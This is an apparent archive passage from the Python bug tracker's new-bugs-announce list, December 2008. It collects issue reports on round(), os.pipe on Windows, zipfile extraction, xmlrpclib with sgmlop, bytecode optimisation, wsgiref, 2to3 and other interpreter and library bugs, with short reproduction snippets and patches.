I was trying to install Twisted on my son's OLPC.  Twisted comes with a
handful of C extensions which are all optional and most of which are not
expected to compile on this platform anyway (they are platform-specific
for Mac or Windows).  If my son's OLPC had a C compiler installed, then
it would attempt to build those modules, fail, and proceed to install
Twisted.  However, since it doesn't have a C compiler, then instead it
stops with an error.

It would be nice if Twisted could tell distutils to try to build a
module, and report whether the build succeeded, but don't stop the
entire setup().

http://twistedmatrix.com/trac/ticket/3586

----------
components: Distutils
messages: 78106
nosy: zooko
severity: normal
status: open
title: try to build a C module, but don't worry if it doesn't work

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4706>
_______________________________________

From report at bugs.python.org  Sat Dec 20 17:42:37 2008
From: report at bugs.python.org (Christian Taylor)
Date: Sat, 20 Dec 2008 16:42:37 +0000
Subject: [New-bugs-announce] [issue4707] round() shows undocumented behaviour
In-Reply-To: <1229791357.03.0.0672690211922.issue4707@psf.upfronthosting.co.za>
Message-ID: <1229791357.03.0.0672690211922.issue4707@psf.upfronthosting.co.za>


New submission from Christian Taylor <dingo at chello.at>:

I've been playing around with the newly released Python 3.0, and I'm a
bit confused about the built-in round()-function. To sum it up in a
single example:

Python 3.0 (r30:67503, Dec  7 2008, 04:54:04)
[GCC 4.3.2] on linux2
>>> round(25, -1)
30.0

I had expected the result to be the integer 20, because:

1. The documentation on built-in functions says: "values are rounded to
the closest multiple of 10 to the power minus n; if two multiples are
equally close, rounding is done toward the even choice"

2. Both help(round) and the documentation on built-in functions claim
that, if two arguments are given, the return value will be of the same
type as the first argument.

Is this unintended behaviour, or am I missing something?

----------
components: Interpreter Core
messages: 78113
nosy: dingo
severity: normal
status: open
title: round() shows undocumented behaviour
type: behavior
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4707>
_______________________________________

From report at bugs.python.org  Sun Dec 21 03:15:25 2008
From: report at bugs.python.org (Aaron Brady)
Date: Sun, 21 Dec 2008 02:15:25 +0000
Subject: [New-bugs-announce] [issue4708] os.pipe should return inheritable
	descriptors (Windows)
In-Reply-To: <1229825725.05.0.791696937909.issue4708@psf.upfronthosting.co.za>
Message-ID: <1229825725.05.0.791696937909.issue4708@psf.upfronthosting.co.za>


New submission from Aaron Brady <castironpi at gmail.com>:

os.pipe should return inheritable descriptors on Windows.

Patch below, test attached.  New pipe() returns descriptors, which
cannot be inherited.  However, their permissions are set correctly, so
msvcrt.get_osfhandle and msvcrt.open_osfhandle can be used to obtain an
inheritable handle.

Docs should contain a note to the effect.  'On Windows, use
msvcrt.get_osfhandle to obtain a handle to the descriptor which can be
inherited.  In a subprocess, use msvcrt.open_osfhandle to obtain a new
corresponding descriptor.'

--- posixmodule_orig.c  2008-12-20 20:01:38.296875000 -0600
+++ posixmodule_new.c   2008-12-20 20:01:54.359375000 -0600
@@ -6481,8 +6481,12 @@
        HANDLE read, write;
        int read_fd, write_fd;
        BOOL ok;
+       SECURITY_ATTRIBUTES sAttribs;
        Py_BEGIN_ALLOW_THREADS
-       ok = CreatePipe(&read, &write, NULL, 0);
+       sAttribs.nLength = sizeof( sAttribs );
+       sAttribs.lpSecurityDescriptor = NULL;
+       sAttribs.bInheritHandle = TRUE;
+       ok = CreatePipe(&read, &write, &sAttribs, 0);
        Py_END_ALLOW_THREADS
        if (!ok)
                return win32_error("CreatePipe", NULL);

----------
components: Library (Lib), Windows
files: os_pipe_test.py
messages: 78136
nosy: castironpi
severity: normal
status: open
title: os.pipe should return inheritable descriptors (Windows)
type: behavior
versions: Python 2.6, Python 2.7, Python 3.0, Python 3.1
Added file: http://bugs.python.org/file12408/os_pipe_test.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4708>
_______________________________________

From report at bugs.python.org  Sun Dec 21 09:53:34 2008
From: report at bugs.python.org (Cournapeau David)
Date: Sun, 21 Dec 2008 08:53:34 +0000
Subject: [New-bugs-announce] [issue4709] Mingw-w64 and python on windows x64
In-Reply-To: <1229849614.64.0.683517411932.issue4709@psf.upfronthosting.co.za>
Message-ID: <1229849614.64.0.683517411932.issue4709@psf.upfronthosting.co.za>


New submission from Cournapeau David <david at ar.media.kyoto-u.ac.jp>:

I believe the current pyport.h for windows x64 has some problems. It
does not work for compilers which are not MS ones, because building
against the official binary (python 2.6) relies on features which are
not enabled unless MS_WIN64 is defined, and the later is not defined if
an extension is not built with MS compiler.

As a simple example:

#include <Python.h>

int main()
{
    printf("sizeof(Py_intptr_t) = %d\n", sizeof(Py_intptr_t));
    return 0;
}

If you build this with MS compiler, you get the expected
sizeof(Py_intptr_t) = 8, but with gcc, you get 4. Now, if I build the
test like:

gcc -I C:\Python26\include -DMS_WIN64 main.c

Then I got 8 as well.

I believe the attached patch should fix the problem (I have not tested
it, since building python on amd64).

----------
components: Build
files: mingw-w64.patch
keywords: patch
messages: 78140
nosy: cdavid
severity: normal
status: open
title: Mingw-w64 and python on windows x64
type: compile error
versions: Python 2.6
Added file: http://bugs.python.org/file12411/mingw-w64.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4709>
_______________________________________

From report at bugs.python.org  Sun Dec 21 14:10:11 2008
From: report at bugs.python.org (Kuba Wieczorek)
Date: Sun, 21 Dec 2008 13:10:11 +0000
Subject: [New-bugs-announce] [issue4710] [PATCH] zipfile.ZipFile does not
	extract directories properly
In-Reply-To: <1229865011.11.0.739181352345.issue4710@psf.upfronthosting.co.za>
Message-ID: <1229865011.11.0.739181352345.issue4710@psf.upfronthosting.co.za>


New submission from Kuba Wieczorek <faw217 at gmail.com>:

This behaviour has been known of course for quite long time. I suppose
this is not intentional so I've played a bit with this and I hope you'll
consider some little change.

Currently, if a ZIP archive contains some subdirectories then
zipfile.ZipFile.extract()/extractall() will create files instead of
directories in the target location. This of course will lead some
scripts to crash (unless any work-around has been done) because files
from the subdirectories couldn't be created.

Attached is a patch against current 2.7 tree. Applied, will make
extractall() extract properly all the contents of the archive with
proper tree structure. If a directory name is passed to the extract(),
it will only create the directory itself without the contents (I guess
it is obvious).

----------
components: Library (Lib)
files: zipfile_extract_dirs.patch
keywords: patch
messages: 78143
nosy: faw
severity: normal
status: open
title: [PATCH] zipfile.ZipFile does not extract directories properly
type: behavior
versions: Python 2.7
Added file: http://bugs.python.org/file12413/zipfile_extract_dirs.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4710>
_______________________________________

From report at bugs.python.org  Sun Dec 21 17:55:52 2008
From: report at bugs.python.org (Scott Dial)
Date: Sun, 21 Dec 2008 16:55:52 +0000
Subject: [New-bugs-announce] [issue4711] Wide literals in the table of
	contents overflow in documentation
In-Reply-To: <1229878552.94.0.178929851509.issue4711@psf.upfronthosting.co.za>
Message-ID: <1229878552.94.0.178929851509.issue4711@psf.upfronthosting.co.za>


New submission from Scott Dial <scott at scottdial.com>:

There is a problem with the table contents with respect to literals that
cannot be word-wrapped. I see this issue here:

http://docs.python.org/dev/2.6/library/multiprocessing.html

The line in the table of contents that reads "The multiprocessing.dummy
module" is broken in that the literal "multiprocessing.sharedctypes"
overflows into the right-hand side. It also ends up underneath the
contents on the right, which makes it extra hard to know what that entry
was about.

This instance may be browser specific, but I think it brings up a more
general question of what should be done with such long literals and how
overflow should be handled. And perhaps even whether it is wise to have
set the width of that div to such a narrow and specific value (230px).

I've attached a screenshot from Firefox 2.0.0.20/Win32 in case it is not
as reproducible as I would expect.

----------
assignee: georg.brandl
components: Documentation
files: multiprocessing.png
messages: 78151
nosy: georg.brandl, scottdial
severity: normal
status: open
title: Wide literals in the table of contents overflow in documentation
type: behavior
Added file: http://bugs.python.org/file12416/multiprocessing.png

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4711>
_______________________________________

From report at bugs.python.org  Sun Dec 21 18:24:05 2008
From: report at bugs.python.org (Georg Brandl)
Date: Sun, 21 Dec 2008 17:24:05 +0000
Subject: [New-bugs-announce] [issue4712] Document pickle behavior for
	subclasses of dicts/lists
In-Reply-To: <1229880245.44.0.0654065239479.issue4712@psf.upfronthosting.co.za>
Message-ID: <1229880245.44.0.0654065239479.issue4712@psf.upfronthosting.co.za>


New submission from Georg Brandl <georg at python.org>:

When unpickling dict subclasses, the dict is filled via setitem before
__setstate__ is called.  This, and other behavior around subclasses of
classes that have special pickle behavior should be documented.

----------
assignee: georg.brandl
components: Documentation
messages: 78154
nosy: aronacher, georg.brandl
priority: low
severity: normal
stage: needs patch
status: open
title: Document pickle behavior for subclasses of dicts/lists
type: behavior
versions: Python 2.6, Python 2.7, Python 3.0, Python 3.1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4712>
_______________________________________

From report at bugs.python.org  Sun Dec 21 22:30:07 2008
From: report at bugs.python.org (Christoph Zwerschke)
Date: Sun, 21 Dec 2008 21:30:07 +0000
Subject: [New-bugs-announce] [issue4713] Installing sgmlop can crash
	xmlrpclib
In-Reply-To: <1229895007.0.0.481278630748.issue4713@psf.upfronthosting.co.za>
Message-ID: <1229895007.0.0.481278630748.issue4713@psf.upfronthosting.co.za>


New submission from Christoph Zwerschke <cito at online.de>:

If you install sgmlop (downloadable from
http://effbot.org/downloads/#sgmlop) under Python 2.x, then this can
break xmlrpclib.

You can reproduce this problem as follows (I have tested with Py 2.4,
2.5 and 2.6):

------------

data = """<?xml version="1.0" encoding="UTF-8"?>
<methodCall><methodName>f</methodName><params>
<param><value>k&#228;se</value></param>
</params></methodCall>"""

import xmlrpclib

assert xmlrpclib.FastParser is None
print xmlrpclib.SgmlopParser and 'with' or 'without', 'sgmlop'

assert xmlrpclib.loads(data) == ((u'k\xe4se',), 'f')

------------

If sgmlop is installed, this gives a UnicodeDecodeError, otherwise
everything works well.

This happens because xmlrpclib prefers using sgmlop over
lib.parsers.expat, but fails to handle numeric character entities
properly with this parser.

Find attached a patch that fixes this problem.

I also wonder whether lib.parsers.expat shouldn't be preferred over
sgmlop, since the latter is somewhat outdated, and installing external
libraries should not cause crashes or wrong behavior of standard lib
modules (see also Issue1772916 for a similar problem).

----------
components: Library (Lib)
messages: 78156
nosy: cito
severity: normal
status: open
title: Installing sgmlop can crash xmlrpclib
type: crash
versions: Python 2.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4713>
_______________________________________

From report at bugs.python.org  Sun Dec 21 22:37:37 2008
From: report at bugs.python.org (Antoine Pitrou)
Date: Sun, 21 Dec 2008 21:37:37 +0000
Subject: [New-bugs-announce] [issue4714] print opcode stats at the end of
	pybench runs
In-Reply-To: <1229895457.43.0.758313096043.issue4714@psf.upfronthosting.co.za>
Message-ID: <1229895457.43.0.758313096043.issue4714@psf.upfronthosting.co.za>


New submission from Antoine Pitrou <pitrou at free.fr>:

This patch prints opcode statistics at the end of a pybench run if
DYNAMIC_EXECUTION_PROFILE has been enabled when compiling the interpreter.

Is it ok? Is it better to add it to the Benchmark class?

----------
components: Demos and Tools
files: pybench-opcodestats.patch
keywords: patch
messages: 78157
nosy: lemburg, pitrou
priority: normal
severity: normal
stage: patch review
status: open
title: print opcode stats at the end of pybench runs
type: feature request
versions: Python 3.0
Added file: http://bugs.python.org/file12417/pybench-opcodestats.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4714>
_______________________________________

From report at bugs.python.org  Sun Dec 21 23:58:05 2008
From: report at bugs.python.org (Antoine Pitrou)
Date: Sun, 21 Dec 2008 22:58:05 +0000
Subject: [New-bugs-announce] [issue4715] optimize bytecode for conditional
	branches
In-Reply-To: <1229900285.73.0.345956521758.issue4715@psf.upfronthosting.co.za>
Message-ID: <1229900285.73.0.345956521758.issue4715@psf.upfronthosting.co.za>


New submission from Antoine Pitrou <pitrou at free.fr>:

This patch optimizes the bytecode for conditional branches.
For example, the list comprehension "[x for x in l if not x]" produced
the following bytecode:

  1           0 BUILD_LIST               0 
              3 LOAD_FAST                0 (.0) 
        >>    6 FOR_ITER                23 (to 32) 
              9 STORE_FAST               1 (x) 
             12 LOAD_FAST                1 (x) 
             15 JUMP_IF_TRUE            10 (to 28) 
             18 POP_TOP              
             19 LOAD_FAST                1 (x) 
             22 LIST_APPEND              2 
             25 JUMP_ABSOLUTE            6 
        >>   28 POP_TOP              
             29 JUMP_ABSOLUTE            6 
        >>   32 RETURN_VALUE         

but after the patch it produces the following bytecode:

  1           0 BUILD_LIST               0 
              3 LOAD_FAST                0 (.0) 
        >>    6 FOR_ITER                18 (to 27) 
              9 STORE_FAST               1 (x) 
             12 LOAD_FAST                1 (x) 
             15 POP_JUMP_IF_TRUE         6 
             18 LOAD_FAST                1 (x) 
             21 LIST_APPEND              2 
             24 JUMP_ABSOLUTE            6 
        >>   27 RETURN_VALUE         

Notice that not only the code is shorter, but the conditional jump
(POP_JUMP_IF_TRUE) jumps right to the start of the loop instead of going
through the JUMP_ABSOLUTE at the end. "continue" statements are helped
similarly.

Furthermore, the old jump opcodes (JUMP_IF_FALSE, JUMP_IF_TRUE) could
profitably be replaced by two new opcodes:
- one which jumps if true and pops otherwise
- one which jumps if false and pops otherwise

----------
components: Interpreter Core
files: condbranches.patch
keywords: patch
messages: 78159
nosy: pitrou
severity: normal
stage: patch review
status: open
title: optimize bytecode for conditional branches
type: resource usage
versions: Python 3.1
Added file: http://bugs.python.org/file12419/condbranches.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4715>
_______________________________________

From report at bugs.python.org  Mon Dec 22 12:09:06 2008
From: report at bugs.python.org (Fabio Zadrozny)
Date: Mon, 22 Dec 2008 11:09:06 +0000
Subject: [New-bugs-announce] [issue4716] Python 3.0 halts on shutdown when
	settrace is set
In-Reply-To: <1229944146.69.0.613877137046.issue4716@psf.upfronthosting.co.za>
Message-ID: <1229944146.69.0.613877137046.issue4716@psf.upfronthosting.co.za>


New submission from Fabio Zadrozny <fabioz at users.sourceforge.net>:

In Python 3.0, the interpreter will not shutdown properly after setting
a tracing function and something goes into stdout.

The code attached shows the problem in action: just execute it and
notice how the interpreter will be kept running after the code has been
executed.

There are some more things that need to be considered:
- If the print('here') is not called, it will shutdown
- If BOTH the print('here') and the sys.settrace(None) is not called, it
will NOT shutdown

Note: I've marked the bug as crash because it's halting, but maybe there
could be a better alternative for it...

----------
components: Interpreter Core
files: tracing_test.py
messages: 78169
nosy: fabioz
severity: normal
status: open
title: Python 3.0 halts on shutdown when settrace is set
type: crash
versions: Python 3.0
Added file: http://bugs.python.org/file12422/tracing_test.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4716>
_______________________________________

From report at bugs.python.org  Mon Dec 22 12:24:58 2008
From: report at bugs.python.org (Fabio Zadrozny)
Date: Mon, 22 Dec 2008 11:24:58 +0000
Subject: [New-bugs-announce] [issue4717] execfile conversion is not correct
In-Reply-To: <1229945098.56.0.809169461336.issue4717@psf.upfronthosting.co.za>
Message-ID: <1229945098.56.0.809169461336.issue4717@psf.upfronthosting.co.za>


New submission from Fabio Zadrozny <fabioz at users.sourceforge.net>:

In 2to3, execfile(file, globals, locals) is translated to 

exec(open(file).read(), globals, locals)

But that's not correct, as the actual file from the executed code gets
wrong with that.

The correct thing would be:

exec(compile(open(file).read(), file, 'exec'), globals, locals)

So that the name of the file remains correct in the module that's being run.

----------
components: 2to3 (2.x to 3.0 conversion tool)
messages: 78170
nosy: fabioz
severity: normal
status: open
title: execfile conversion is not correct
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4717>
_______________________________________

From report at bugs.python.org  Mon Dec 22 12:30:57 2008
From: report at bugs.python.org (Dmitry Vasiliev)
Date: Mon, 22 Dec 2008 11:30:57 +0000
Subject: [New-bugs-announce] [issue4718] wsgiref package totally broken
In-Reply-To: <1229945457.69.0.495711258596.issue4718@psf.upfronthosting.co.za>
Message-ID: <1229945457.69.0.495711258596.issue4718@psf.upfronthosting.co.za>


New submission from Dmitry Vasiliev <dima at hlabs.spb.ru>:

It seems the wsgiref package was copied from Python 2.* without any
modifications. There are already 3 issues about that but they only
describe a part of the problem so I decided to start a new one. The
issues was:

http://bugs.python.org/issue3348
http://bugs.python.org/issue3795
http://bugs.python.org/issue4522

The attached patch fix the problem with the following changes:

- Fixed headers handling in wsgiref/simple_server.py;

- Fixed encoding problems. Now WSGI applications must return iterable
with bytes but start_response() allow status and headers as bytes and as
strings. "wsgi.input" file-like now use BytesIO instead of StringIO;

- Fixed tests;

- Updated documentation examples;

----------
components: Library (Lib)
files: wsgiref.patch
keywords: patch
messages: 78171
nosy: hdima
severity: normal
status: open
title: wsgiref package totally broken
type: crash
versions: Python 3.0
Added file: http://bugs.python.org/file12423/wsgiref.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4718>
_______________________________________

From report at bugs.python.org  Mon Dec 22 12:46:45 2008
From: report at bugs.python.org (Fabio Zadrozny)
Date: Mon, 22 Dec 2008 11:46:45 +0000
Subject: [New-bugs-announce] [issue4719] sys.exc_clear() not flagged in any
	way
In-Reply-To: <1229946405.25.0.906252305258.issue4719@psf.upfronthosting.co.za>
Message-ID: <1229946405.25.0.906252305258.issue4719@psf.upfronthosting.co.za>


New submission from Fabio Zadrozny <fabioz at users.sourceforge.net>:

sys.exc_clear() does not seem to exist in Python 3.0 anymore, so, a way
to deal with it should be provided (maybe put a #TODO comment and point
to somewhere explaining what happened?).

----------
components: 2to3 (2.x to 3.0 conversion tool)
messages: 78173
nosy: fabioz
severity: normal
status: open
title: sys.exc_clear() not flagged in any way
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4719>
_______________________________________

From report at bugs.python.org  Mon Dec 22 13:49:23 2008
From: report at bugs.python.org (Pearu Peterson)
Date: Mon, 22 Dec 2008 12:49:23 +0000
Subject: [New-bugs-announce] [issue4720] Extension function optional
	argument specification | causes RuntimeError
In-Reply-To: <1229950163.26.0.0772490400351.issue4720@psf.upfronthosting.co.za>
Message-ID: <1229950163.26.0.0772490400351.issue4720@psf.upfronthosting.co.za>


New submission from Pearu Peterson <pearu at users.sourceforge.net>:

Calling the following extension function 

static PyObject *
baz(PyObject *self, PyObject *args, PyObject *keywds)
{
  static char *kwlist[] = {NULL};
  if (!PyArg_ParseTupleAndKeywords(args,keywds,"|:bar.baz", kwlist))
    return NULL;
  return Py_BuildValue("");
}

raises

  RuntimeError: more argument specifiers than keyword list entries
(remaining format:'|:bar.baz')

in Python 2.6 but it used to work with earlier versions of Python.

This bug breaks all f2py generated extension modules when using Python 2.6.

----------
components: Extension Modules
files: barmodule.c
messages: 78179
nosy: pearu
severity: normal
status: open
title: Extension function optional argument specification | causes RuntimeError
type: crash
versions: Python 2.6
Added file: http://bugs.python.org/file12424/barmodule.c

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4720>
_______________________________________

From report at bugs.python.org  Mon Dec 22 16:02:19 2008
From: report at bugs.python.org (George)
Date: Mon, 22 Dec 2008 15:02:19 +0000
Subject: [New-bugs-announce] [issue4721] pythonw.exe crash in GU
	application(PythonWX)
In-Reply-To: <1229958139.91.0.337518597057.issue4721@psf.upfronthosting.co.za>
Message-ID: <1229958139.91.0.337518597057.issue4721@psf.upfronthosting.co.za>


New submission from George <ge1 at mail.gr>:

I have Python 2.6.1 in Windows Vista. It happened in Python 2.6 and I 
hoped it would be fixed. I don't know what happenes in other versions. 
When I open a file containing a python program(".py"/".pyw" and even 
one compiled with py2exe) made by using the PythonWX GUI programming 
libraries it crashes immediately after the mouse hovers over the window 
created by the program(spesifically in the area inside it). It happenes 
both when the program is a ".py" file and a ".pyw" file or one compiled 
with py2exe. I get a message that the program stopped working. 
Shouldn'nt I get a message about wrong code? It doesn't crash in the 
Python Shell, but it has happened ,too, a few times.

Do I do something wrong?
Is there something I should know?

The programs I use are not made by me(I can't yet make mine), but they 
are examples downloaded or copy-pasted. Here is one:

import wx
app = wx.PySimpleApp()
frame = wx.Frame(None,-1,"Hello World")
frame.Show(True)
app.MainLoop()

Please tell me what is wrong or what I should do.

----------
files: simple editor.pyw
messages: 78189
nosy: george
severity: normal
status: open
title: pythonw.exe crash in GU application(PythonWX)
type: crash
versions: Python 2.6
Added file: http://bugs.python.org/file12426/simple editor.pyw

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4721>
_______________________________________

From report at bugs.python.org  Mon Dec 22 16:06:31 2008
From: report at bugs.python.org (Alex)
Date: Mon, 22 Dec 2008 15:06:31 +0000
Subject: [New-bugs-announce] [issue4722] _winreg.QueryValue fault while
	reading mangled registry values
In-Reply-To: <1229958391.62.0.85659959701.issue4722@psf.upfronthosting.co.za>
Message-ID: <1229958391.62.0.85659959701.issue4722@psf.upfronthosting.co.za>


New submission from Alex <malicious.wizard at gmail.com>:

== What steps will reproduce the problem?
1. Create registry key (let's assume it's located in
HKEY_CURRENT_USER\TestKey);
2. Walk to it in "regedit";
3. Right-click on "(Default)" and select "Modify binary data";
4. Leave everything blank and press "OK";
5. Go to Python and execute this:
>>> import _winreg
>>> _winreg.QueryValue(_winreg.HKEY_CURRENT_USER, 'TestKey')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
SystemError: ..\Objects\stringobject.c:4271: bad argument to internal
function

== What is the expected output? What do you see instead?
I expect either returning "''" or some ValueError indicating that source
string is malformed.

== What version of the product are you using? On what operating system?
1. Windows XP Professional SP2 English;
2. Tested on Python 2.5.2;
3. Tested on Python 2.6.1;
4. Tested on Stackless Python 2.5.2.

== Please provide any additional information below.
And yes, I know that this function is lame and everybody using it also
is lame, but it's not really a reason to include buggy functions, right?

----------
components: Library (Lib), Windows
messages: 78190
nosy: malicious.wizard
severity: normal
status: open
title: _winreg.QueryValue fault while reading mangled registry values
type: behavior
versions: Python 2.5, Python 2.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4722>
_______________________________________

From report at bugs.python.org  Mon Dec 22 17:37:34 2008
From: report at bugs.python.org (=?utf-8?q?Klemens_H=C3=A4ckel?=)
Date: Mon, 22 Dec 2008 16:37:34 +0000
Subject: [New-bugs-announce] [issue4723] os.path.basename error on directory
	names with numbers
In-Reply-To: <1229963854.68.0.83545145541.issue4723@psf.upfronthosting.co.za>
Message-ID: <1229963854.68.0.83545145541.issue4723@psf.upfronthosting.co.za>


New submission from Klemens H?ckel <click3d at linuxmail.org>:

I am using python for some backup tasks, and recently i found a problem
whe i have certain directory names.
Probably the problem is only in windows, however i would like You to know.
I verified the same behaviour in (WindowsXP, spanish, SP3) using Python
2.5.2 and also in 2.6.1 (installers from Python.org).

In my case i have directory names, beginning with year/month numbers.
Aparrently python is confusing something, so os.path.basename is not
working:

dd = 'C:\downloads\hacking\0812logcompress'
>>> os.path.basename(dd)
'hacking\x00812logcompress'
>>> dd = 'C:\downloads\hacking\logcompress'
>>> os.path.basename(dd)
'logcompress'

----------
components: Windows
messages: 78197
nosy: kle_py
severity: normal
status: open
title: os.path.basename error on directory names with numbers
type: behavior
versions: Python 2.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4723>
_______________________________________

From report at bugs.python.org  Mon Dec 22 18:20:19 2008
From: report at bugs.python.org (Benjamin Peterson)
Date: Mon, 22 Dec 2008 17:20:19 +0000
Subject: [New-bugs-announce] [issue4724] setting f_exc_traceback aborts in
	debug builds
In-Reply-To: <1229966419.5.0.164799717047.issue4724@psf.upfronthosting.co.za>
Message-ID: <1229966419.5.0.164799717047.issue4724@psf.upfronthosting.co.za>


New submission from Benjamin Peterson <musiccomposition at gmail.com>:

$ ./python.exe 
Python 2.7a0 (trunk:67899, Dec 22 2008, 11:17:09) 
[GCC 4.0.1 (Apple Computer, Inc. build 5370)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
[36275 refs]
>>> sys._getframe(0).f_exc_traceback = 23
Python/ceval.c:2720: failed assertion `tstate->frame->f_exc_traceback ==
NULL'
Abort trap

----------
components: Interpreter Core
messages: 78199
nosy: benjamin.peterson
priority: high
severity: normal
status: open
title: setting f_exc_traceback aborts in debug builds
versions: Python 2.6, Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4724>
_______________________________________

From report at bugs.python.org  Mon Dec 22 18:56:25 2008
From: report at bugs.python.org (rocky bernstein)
Date: Mon, 22 Dec 2008 17:56:25 +0000
Subject: [New-bugs-announce] [issue4725] reporting file locations in egg
	(and other package) files
In-Reply-To: <1229968585.58.0.896136373006.issue4725@psf.upfronthosting.co.za>
Message-ID: <1229968585.58.0.896136373006.issue4725@psf.upfronthosting.co.za>


New submission from rocky bernstein <rocky at gnu.org>:

When listing a traceback or showing stack frames or implementing a
debugger (or a tool which wants to track the exact location of the
source code), how is one supposed to detect a file located inside an egg
or some other archive mechanism? 

There are a number of issues, I think. First, I think some sort of
consistent naming convention would be helpful. 

Here's an example of the current situation. I have a file called
tracer.py inside egg
/usr/lib/python2.5/site-packages/tracer-0.1.0-py2.5.egg/tracer.py
and I get an exception inside of that. The traceback shows this:

   File "build/bdist.linux-i686/egg/tracer.py", line 216, in size

The file information comes from frame.f_code.co_filename and its
relation to a file is a bit nebulous since there is no file either in
the filesystem with that path suffix nor a file in an with that name.
(It's possible there was a file with that suffix at one time during the
build of the egg.)

So possibly this is a bug.

Via the __loader__ key in the tracer module's __dict__ hash (a 
zipimporter object) there is a _files hash which has a key "tracer.py"
with value
"/usr/lib/python2.5/site-packages/tracer-0.1.0-py2.5.egg/tracer.py".
This seems to correspond to a file tracer.py in zip file:
/usr/lib/python2.5/site-packages/tracer-0.1.0-py2.5.egg 

Glomming the two parts together as one entity or one name is a bit weird
and means that things that work on files will have do some parsing to
figure out that this there is a member inside an archive (and egg here). 

PEP 302 has lots of interesting things in it such as a way to get the
file source text, but it doesn't specify uniform file *names* of either
the surrounding package/archive or the member inside that.

So possibly this is an omission or something that should be added.

Finally looking at linecache.py, the function update_cache() has a
routine to do some sort of filename resolution consulting loaders using
the API of PEP 302. Possibly the name resolution part (without reading
file data) might be made callable by itself so that it returns a
package/archive name and a package/archive member name.

----------
messages: 78203
nosy: rocky
severity: normal
status: open
title: reporting file locations in egg (and other package) files
type: behavior
versions: Python 2.5, Python 2.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4725>
_______________________________________

From report at bugs.python.org  Mon Dec 22 19:26:24 2008
From: report at bugs.python.org (guyer)
Date: Mon, 22 Dec 2008 18:26:24 +0000
Subject: [New-bugs-announce] [issue4726] doctest gets line numbers wrong due
	to quotes in comments
In-Reply-To: <1229970384.34.0.779810047928.issue4726@psf.upfronthosting.co.za>
Message-ID: <1229970384.34.0.779810047928.issue4726@psf.upfronthosting.co.za>


New submission from guyer <guyer at nist.gov>:

My text editor places a comment block at the top of each source file with 
a block of information about the author, the project, license, etc. One 
(rather pointless) line of this block looks like

 # FILE: "somefile.py"

The re in `_find_lineno()` misinterprets this line as the beginning of the 
docstring. I believe the attached patch maintains the spirit of the re, 
while avoiding this false positive.

----------
components: Tests
files: doctest_find_lineno.diff
keywords: patch
messages: 78206
nosy: guyer
severity: normal
status: open
title: doctest gets line numbers wrong due to quotes in comments
versions: Python 2.4, Python 2.5, Python 2.6, Python 2.7
Added file: http://bugs.python.org/file12428/doctest_find_lineno.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4726>
_______________________________________

From report at bugs.python.org  Tue Dec 23 03:35:03 2008
From: report at bugs.python.org (Erick Tryzelaar)
Date: Tue, 23 Dec 2008 02:35:03 +0000
Subject: [New-bugs-announce] [issue4727] pickle/copyreg doesn't support
	keyword only arguments in __new__
In-Reply-To: <1229999703.52.0.11232958698.issue4727@psf.upfronthosting.co.za>
Message-ID: <1229999703.52.0.11232958698.issue4727@psf.upfronthosting.co.za>


New submission from Erick Tryzelaar <idadesub at users.sourceforge.net>:

According to both of these bugs:

http://bugs.python.org/issue1398
http://bugs.python.org/issue4331

pickle can't pickle functools.partial objects. It looks the underlying 
reason is that objects that pickle can't handle objects with __new__ and 
keyword only arguments. To support this, would this require a new pickle 
protocol and a __getnewfullargs__ that returns a tuple and dict?

----------
components: Library (Lib)
messages: 78222
nosy: erickt
severity: normal
status: open
title: pickle/copyreg doesn't support keyword only arguments in __new__
type: feature request
versions: Python 2.7, Python 3.1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4727>
_______________________________________

From report at bugs.python.org  Tue Dec 23 04:59:56 2008
From: report at bugs.python.org (Cournapeau David)
Date: Tue, 23 Dec 2008 03:59:56 +0000
Subject: [New-bugs-announce] [issue4728] Endianness and universal builds
	problems
In-Reply-To: <1230004796.26.0.433339643882.issue4728@psf.upfronthosting.co.za>
Message-ID: <1230004796.26.0.433339643882.issue4728@psf.upfronthosting.co.za>


New submission from Cournapeau David <david at ar.media.kyoto-u.ac.jp>:

I had some problems with python and universal builds related to the
WORDS_BIGENDIAN macro. Because universal builds are built in one pass
(one configure), the AC_C_ENDIAN cannot be used reliably. Example:

int main()
{
#ifdef WORDS_BIGENDIAN
    printf("Big endian macro defined\n");
#else
    printf("No big endian macro defined\n");
#endif

    return 0;
}

If I build this against python 2.5, it prints no big endian macro (I
have an intel CPU), as expected. But with python 2.6.0 (official binary
from python.org), I get Big endian macro defined.

----------
messages: 78224
nosy: cdavid
severity: normal
status: open
title: Endianness and universal builds problems

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4728>
_______________________________________

From report at bugs.python.org  Tue Dec 23 06:49:48 2008
From: report at bugs.python.org (Senthil)
Date: Tue, 23 Dec 2008 05:49:48 +0000
Subject: [New-bugs-announce] [issue4729] Documentation under 'pass'
	statement talks about exception very early.
